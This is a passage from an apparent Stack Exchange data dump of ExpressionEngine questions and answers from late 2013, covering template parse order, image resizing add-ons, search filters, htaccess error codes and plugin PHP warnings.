BY-SA 3.0" />
  <row Id="17205" PostTypeId="1" CreationDate="2013-11-27T18:03:48.837" Score="1" ViewCount="37" Body="&lt;p&gt;Is there a way to capture the field type in the template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have a wygwam field named {copy-seg} and I want to apply a class of wygwam to that container.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;{copy-seg}&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Needing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;wygwam&quot;&amp;gt;{copy-seg}&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-11-27T18:14:35.557" Title="Detecting field type in templates" Tags="|ee2|templates|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17206" PostTypeId="2" ParentId="17205" CreationDate="2013-11-27T18:14:35.557" Score="1" Body="&lt;p&gt;The field type data is not accessible in typical template tags, like &lt;code&gt;{exp:channel}&lt;/code&gt;. Typically, you have to use the field &lt;strong&gt;names&lt;/strong&gt; for your conditions, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;{if copy-seg}wygwam{if:else}{/if}&quot;&amp;gt;{copy-seg}&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if copy_seg != ''}&#xA;&amp;lt;div class=&quot;wygwam&quot;&amp;gt;&#xA;{copy-seg}&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-27T18:14:35.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17207" PostTypeId="1" AcceptedAnswerId="17208" CreationDate="2013-11-27T18:28:05.363" Score="2" ViewCount="126" Body="&lt;p&gt;The {exp:bmi_favorite:list_ids entry_type=&quot;recipe&quot; site_id=&quot;1&quot;} outputs 18|19 to be passed to the entry_id parameter. It does not work, unless I manually add the 18|19 into the entry_id, like entry_id=&quot;18|19&quot;. That leads me to believe my module function (list_ids) is running after the exp:channel:entries tag. Is it possible to run list_ids first, without having to tweak the settings for the template the code is in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried changing the single quotes to double quotes and that did not change anything.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;recipes&quot;&#xA;    entry_id='{exp:bmi_favorite:list_ids entry_type=&quot;recipe&quot; site_id=&quot;1&quot;}'&#xA;}&#xA;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;public function list_ids()&#xA;{&#xA;    $entry_type = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('entry_type', false);&#xA;&#xA;    if($entry_type == false)&#xA;        return 'Please provide valid entry_type';&#xA;&#xA;    $site_id = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('site_id', '1');&#xA;&#xA;    $where_data = array(&#xA;        'site_id'       =&amp;gt;  $site_id,&#xA;        'user_id'       =&amp;gt;  $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id'),&#xA;        'entry_type'    =&amp;gt;  $entry_type,  &#xA;    );&#xA;&#xA;    $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where($where_data)-&amp;gt;get('bmi_favorite');&#xA;&#xA;    if($query-&amp;gt;num_rows == 0)&#xA;        return false;&#xA;&#xA;    $i = 1;&#xA;    $output = '';&#xA;&#xA;    foreach($query-&amp;gt;result() as $row):&#xA;        $output .= $row-&amp;gt;entry_id;&#xA;        $i++;&#xA;&#xA;        if($i &amp;lt;= $query-&amp;gt;num_rows)&#xA;            $output .= '|';&#xA;    endforeach;&#xA;&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I added parse='inward' to the end of my list_ids template tag, that did the trick, but I'd like it to do that without the user having to put parse='inward' themselves, is that possible or the user will always have to append parse=&quot;inward&quot; onto my module tag?&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2013-11-27T18:41:12.013" LastActivityDate="2013-11-27T18:41:12.013" Title="channel entries tag seems to run before my module function" Tags="|channel-entries|add-on-development|php|module|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17208" PostTypeId="2" ParentId="17207" CreationDate="2013-11-27T18:39:46.077" Score="4" Body="&lt;p&gt;If you add &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to your channel entries tag parameters, it will force module tags inside your parameters to be parsed before the channel entries tag.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-27T18:39:46.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17209" PostTypeId="1" CreationDate="2013-11-27T18:57:07.250" Score="0" ViewCount="115" Body="&lt;p&gt;I am having problems mapping member data fields with the Cartthrob / ProfileEdit combo. As I understood it with both of these modules installed I should be able to go to the 'Members' tab in CT and map the fields to the relevant fields in my chosen  profile channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure in the past this is exactly what I have done, however now when I go to the 'Members' tab and click on the Member Custom Fields drop downs to map the fields their are no options available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I just imagined this or is that how it is supposed to work.. going a little crazy!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cartthrob 2.4&#xA;ProfileEdit 1.1.7&#xA;ExpressionEngine 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just tested this by installing some old versions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.3&#xA;CT 2.2.7&#xA;P:E 1.1.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CT member fields can be mapped to P:E, but as soon as I upgrade CT to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.3&#xA;CT 2.3.9.1&#xA;P:E 1.1.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CT's member fields cannot be mapped to P:E. So it seems somewhere between CT 2.2.7 and 2.3.9.1 it lost the ability to map. Is anyone else experiencing this?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="1038" LastEditDate="2013-11-28T09:50:43.850" LastActivityDate="2014-02-03T16:17:17.623" Title="Member Field Mapping in Cartthrob and Profile Edit" Tags="|cartthrob|profile-edit|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17210" PostTypeId="2" ParentId="14967" CreationDate="2013-11-27T19:14:00.580" Score="1" Body="&lt;p&gt;You can do this in your htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} URL [NC]&#xA;RewriteRule .* - [R=404,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, EE will return a 404 error code. BUT, EE seems to always return the page that says &lt;em&gt;To proceed to the URL you have requested, click the link below&lt;/em&gt;. It won't return your 404 template that you've set in EE (EE seems to give that ?URL parameter precedent over its 404 template processing.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'd worry that the above is not enough to right things with the Google index, and I'd throw the stronger 410 &quot;Gone&quot; error, instead--plus route it to a static error page outside of EE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#optional, show a static file as an error document&#xA;ErrorDocument 410 /410.html&#xA;#&#xA;RewriteCond %{QUERY_STRING} URL [NC]&#xA;RewriteRule .* - [R=410,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDITED: &quot;Gone&quot; is status code 410 -- corrected, above&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think Google (and other search engines) recognize that people who know how to throw 400 errors aren't kidding, and so those &quot;gone&quot; resources can be removed from the search index right away ;-)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that, if you don't use EE for your 404 page--e.g., you instead have &lt;code&gt;ErrorDocument 404 /404.html&lt;/code&gt; set in your htaccess pointing to a static page, then the original example of throwing a 404 will totally circumvent EE, and show your static 404 error page.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2013-11-29T18:31:22.763" LastActivityDate="2013-11-29T18:31:22.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17211" PostTypeId="1" AcceptedAnswerId="17212" CreationDate="2013-11-27T19:46:10.860" Score="2" ViewCount="164" Body="&lt;p&gt;I am trying to resize images (logos) to a max of 150px width and 150px height. Since these images differ greatly in original width and height I would like to center the generated image and then fill the gaps with a background color. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to end up with is a 150px x 150px image every time with logo centered... is this possible with CE Image? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current tag. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{logo}&quot; max_height=&quot;150&quot; max_width=&quot;150&quot; crop=&quot;no&quot;}&#xA;    &amp;lt;img class=&quot;media-object&quot; src=&quot;{made}&quot; height=&quot;{height}&quot; width=&quot;{width}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-11-27T20:21:24.480" Title="Is it possible to resize a ce-image with max values and fill the gaps with a background color?" Tags="|ce-image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17212" PostTypeId="2" ParentId="17211" CreationDate="2013-11-27T20:21:24.480" Score="2" Body="&lt;p&gt;Yes, there's an example on the CE Image docs (&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/common-solutions&quot; rel=&quot;nofollow&quot;&gt;common solutions&lt;/a&gt;, option 2 - watermark) - essentially you need a blank image file that you can stretch as a watermark behind the resized graphic. Something like this (derived from the example on that page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{logo}&quot; parse=&quot;inward&quot; max=&quot;150&quot; crop=&quot;yes&quot;}&#xA;    {exp:ce_img:single src=&quot;/images/white_spec.png&quot;&#xA;watermark=&quot;{made}|0,0|100|center,center&quot; width=&quot;150&quot; height=&quot;150&quot; crop=&quot;yes&quot; allow_scale_larger=&quot;yes&quot;}&#xA;{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-11-27T20:21:24.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17214" PostTypeId="1" AcceptedAnswerId="17218" CreationDate="2013-11-27T21:08:01.077" Score="1" ViewCount="130" Body="&lt;p&gt;I'm struggling to get the native switch function of EE to work at all when it's used inside my matrix tag pair, It's simply ignoring it. Could anyone offer any advice? Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my gist: &lt;a href=&quot;https://gist.github.com/anonymous/7689336&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/anonymous/7689336&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1149" LastEditorUserId="1149" LastEditDate="2013-11-28T09:29:02.987" LastActivityDate="2014-01-27T10:31:57.273" Title="EE Switch within Matrix tag pair not working" Tags="|matrix|switch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17215" PostTypeId="2" ParentId="17127" CreationDate="2013-11-27T21:30:53.437" Score="1" Body="&lt;p&gt;Solved: My template caching system interfered with page generating. My dev environment didn't have the cache working, so it appeard that the templates were working...&lt;/p&gt;&#xA;" OwnerUserId="2270" LastActivityDate="2013-11-27T21:30:53.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17216" PostTypeId="1" CreationDate="2013-11-27T21:40:24.810" Score="1" ViewCount="67" Body="&lt;p&gt;I need to show how much rows in the entry have &quot;ON&quot; state. &#xA;I could not find any tag in documentary.&lt;/p&gt;&#xA;" OwnerUserId="1531" LastActivityDate="2013-11-28T21:19:48.380" Title="SWITCH - How to show quantity of switched ON rows?" Tags="|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17217" PostTypeId="1" CreationDate="2013-11-27T21:51:45.143" Score="1" ViewCount="33" Body="&lt;p&gt;I'm working on my first, more complex add-on and had a question on gathering field properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create a tag pair, which wraps a field inside a template, what would it take to get the tag properties of that fieldtype?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, in the template I would have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_tag}{custom_wygwam_field}{/exp:my_tag}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my pi.my_tag.php file, I would have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_tag {&#xA;&#xA;public $return_data;&#xA;&#xA;/**&#xA; * Constructor&#xA; */&#xA;public function __construct()&#xA;{&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;    $tag_content = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;    // Gather the tag/field properties here...&#xA;&#xA;    // Make whatever changes here...&#xA;&#xA;    // Return the new content&#xA;    $this-&amp;gt;return_data = $new_tag_content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-11-27T21:51:45.143" Title="Get the current entry/template fieldtypes in a plug-in" Tags="|ee2|templates|add-on-development|fieldtype|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17218" PostTypeId="2" ParentId="17214" CreationDate="2013-11-28T02:34:18.437" Score="1" Body="&lt;p&gt;Matrix field has his own &lt;a href=&quot;http://docs.pixelandtonic.com/matrix/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;{switch} tag&lt;/a&gt;, so channel {switch} tag (is it what you mean by &quot;native switch function&quot; ?) will be not working inside Matrix pair.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-28T02:34:18.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17219" PostTypeId="1" CreationDate="2013-11-28T06:51:36.143" Score="1" ViewCount="174" Body="&lt;p&gt;Currently i use safecracker in combination with author_only=&quot;yes&quot; to allow members to publish and edit their own news and edit their info page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What would be a method / procedure or what would you suggest to allow&lt;br&gt;&#xA;multiple members to edit one specific entry (e.g. the info page)?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can't just only remove the author_only parameter and allow all members to edit all info pages. Only assigned members should be able to edit an entry.&lt;/li&gt;&#xA;&lt;li&gt;Is a relationship/playa field on the info-page a possible route? How would you check for access-privileges?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; one approach is with categories but this gives more broad access to editors.&lt;br&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9823/limit-safecracker-access-to-specific-entries-using-member-groups-and-categories?rq=1&quot;&gt;Limit Safecracker access to specific entries, using member groups and categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit2:&lt;/strong&gt;&#xA;Possible solution, using a modified version of chosen_member addon&lt;br&gt;&#xA;(e.g. added a method to check if logged in user is selected)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel entries url_title=&quot;segment_3&quot; }&#xA;  {if chosen_member_field:is_chosen==&quot;yes&quot;}&#xA;    {embed=&quot;group/safecracker&quot; entry_id=&quot;{entry_id}&quot;}&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-12-06T09:26:19.407" Title="Allow multiple (assigned) members / authors to edit an entry" Tags="|safecracker|channel-form|author|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17220" PostTypeId="1" AcceptedAnswerId="17223" CreationDate="2013-11-28T07:30:59.280" Score="0" ViewCount="144" Body="&lt;p&gt;Based on the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, &lt;code&gt;{exp:low_search:results}&lt;/code&gt; has a &lt;code&gt;default:parameter&lt;/code&gt; param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say that I have a channel &lt;code&gt;foo&lt;/code&gt; that has relationship field &lt;code&gt;y&lt;/code&gt; where the entries have entry_id &lt;code&gt;1&lt;/code&gt;,&lt;code&gt;2&lt;/code&gt; or &lt;code&gt;3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I make &lt;code&gt;{exp:low_search:results}&lt;/code&gt; default the search to filter for &lt;code&gt;y&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does at least one of the code below work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;   default:y=&quot;1&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;   default:y[]=&quot;1&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;   default:child:y=&quot;&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;   default:child:y[]=&quot;&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-28T08:34:55.730" Title="Low Search - How to specify a default filter for {exp:low_search:results}?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17221" PostTypeId="1" AcceptedAnswerId="17229" CreationDate="2013-11-28T07:58:32.650" Score="0" ViewCount="854" Body="&lt;p&gt;I don't think that the parse order would make this code below work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  entry_id=&quot;{embed='common/.get-entry-id-based-on-some-complex-logic'}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make embed tag be parsed first before the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; is parsed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, what are alternative ways to this(Snippets can't be used if in this case if I am not mistaken)?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-28T12:32:32.240" Title="Passing an embed variable in a parameter of a tag" Tags="|embeds|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17222" PostTypeId="1" CreationDate="2013-11-28T08:09:07.440" Score="1" ViewCount="117" Body="&lt;p&gt;I was wondering if there was any way of being able to edit the WysiHat settings to allow script/form tags to be entered into them. We have a client who has a third party widget which require JS, and a PayPal form which he wants to be able to put on his site, and move around using the default RTE. However whenever he pastes them in code view and returns to content view, they get stripped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added textarea and rte to skip_xss_fieldtypes in Channel_form_lib (line 3155) but it's still doing it when swapping between code and content view. If anyone could give me a hand on how to fix this without resorting in switching to a third party WYSIWYG, that would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Just did some further investigation, when pasting a script tag in code view and then submitting (without switching it back to content) it comes through fine. However when you then go to edit the entry again, it initialises as content view and the script tag disappears, could this be because the script tag isn't a visible element by default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when pasting a form in and switching back to content view, the form tags get stripped. I thought this might have something to do with the fact that you're already inside a form tag so it's stripping the tags it sees as being unnecessary. Then when you hit submit it's trying to validate the fields that're pasted in (if they have required set, it won't let you submit). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like this might be a bigger issue than just switching a setting over, but I appreciate any useful comments that are left.&lt;/p&gt;&#xA;" OwnerUserId="2416" LastEditorUserId="2416" LastEditDate="2013-11-28T08:27:06.167" LastActivityDate="2014-03-29T07:03:00.750" Title="Allowing script/form tags in RTE (WysiHat)" Tags="|rte|xss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17223" PostTypeId="2" ParentId="17220" CreationDate="2013-11-28T08:29:16.567" Score="1" Body="&lt;p&gt;Your third example should work. It's the regular parameter name, prefixed with &lt;code&gt;default:&lt;/code&gt;. The parameter name for the (child) &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#relationships-parameters&quot; rel=&quot;nofollow&quot;&gt;Relationship filter&lt;/a&gt; is &lt;code&gt;child:field_name&lt;/code&gt;, so the default version becomes &lt;code&gt;default:child:field_name&lt;/code&gt;. Applied to the Results tag, this becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results default:child:field_name=&quot;1|2|3&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The square brackets &lt;code&gt;[]&lt;/code&gt; &lt;em&gt;only apply to input fields in your Form&lt;/em&gt; and only for &lt;em&gt;&lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#multiple-values&quot; rel=&quot;nofollow&quot;&gt;multi-valued attributes&lt;/a&gt;&lt;/em&gt;. It &lt;em&gt;never&lt;/em&gt; appears in either parameter names of an EE tag or variable names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Square brackets are only used in the &lt;code&gt;name&lt;/code&gt; attribute of &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; HTML elements.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-11-28T08:34:55.730" LastActivityDate="2013-11-28T08:34:55.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17224" PostTypeId="1" AcceptedAnswerId="17483" CreationDate="2013-11-28T09:59:08.250" Score="3" ViewCount="969" Body="&lt;p&gt;I'm using the Textile plug-in on a new project and it's spawning PHP errors all over the place and complaining thusly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: 8192&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: textile/pi.textile.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 918&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not one I've run into before but this is occurring in my local dev env on a new MacBook so it's a fresh install of MAMP running PHP 5.5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I only see the PHP error in the front end templates when logged in as Admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function generating the error is 'footNoteRef':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function footnoteRef($text)&#xA;{&#xA;    return preg_replace('/(?&amp;lt;=\S)\[([0-9]+)\](\s)?/Ue',&#xA;        '$this-&amp;gt;footnoteID(\'\1\',\'\2\')', $text);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="7705" LastEditDate="2018-09-05T05:52:02.440" LastActivityDate="2021-11-05T13:18:07.810" Title="Textile plug-in throwing PHP errors RE preg_replace /e modifier" Tags="|plugin|php-errors|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17225" PostTypeId="2" ParentId="17221" CreationDate="2013-11-28T11:44:31.863" Score="0" Body="&lt;p&gt;Have you tried adding a parse=&quot;inward&quot; to your channel:entries tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, you could possibly use stash to set an entry_id variable as a result of your complex logic, and then use that stash var in your channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg (very loosely)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse}&#xA;    {complex_block}&#xA;        {exp:stash:set name=&quot;my_entry_id&quot; type=&quot;snippet&quot;}{value}{/exp:stash:set}    &#xA;    {/complex_block}&#xA;{/exp:stash:parse}&#xA;...&#xA;{exp:channel:entries entry_id=&quot;{my_entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-11-28T11:44:31.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17226" PostTypeId="1" CreationDate="2013-11-28T12:04:40.650" Score="1" ViewCount="173" Body="&lt;p&gt;For a while now I have been unable to use DD Updater because of this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning!&#xA;Our test AJAX request failed! We sent an AJAX request to but the response was   invalid.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't recall if the error started when I upgraded the module or when I moved to a different host, regardless I'm using EE2.5.5 and I have upgraded to the latest version of updater today (3.2.9) with no success. I tried changing several settings and nothing changed, can anyone point me in the right direction?&#xA;The ajax response is blank btw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2014-03-28T14:02:46.993" Title="DevDemon Updater ajax request error" Tags="|ajax|devdemon|devdemon-updater|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17227" PostTypeId="2" ParentId="17226" CreationDate="2013-11-28T12:12:45.933" Score="1" Body="&lt;p&gt;First of all, check if &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;URL to the root directory of your site   &lt;/li&gt;&#xA;&lt;li&gt;URL to your 'themes' folder&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;is setup correct in &lt;em&gt;EE &gt; Admin &gt; General Configuration&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you will not found any error inside this settings, you need to open chrome inspector and check what exactly happens. On tab Network you will able see the ajax request (url &amp;amp; headers) + results. Possible something wrong with your .htaccess and you have multi redirection as example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example it is can happen if your CP is on domains with www., but request is going to domain w/o www..&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-28T12:12:45.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17229" PostTypeId="2" ParentId="17221" CreationDate="2013-11-28T12:32:32.240" Score="3" Body="&lt;p&gt;Why not do it the other way around, where the template being loaded is what actually contains the complex logic? Then you can embed the rest of the template, passing the &lt;code&gt;entry_id&lt;/code&gt; via an embed parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, write a simple plugin which performs your logic and returns the &lt;code&gt;entry_id&lt;/code&gt;, then put your Channel Entries tag inside of that plugin tag pair (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7414/cannot-user-php-in-playa-tags/7487#7487&quot;&gt;related example here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-11-28T12:32:32.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
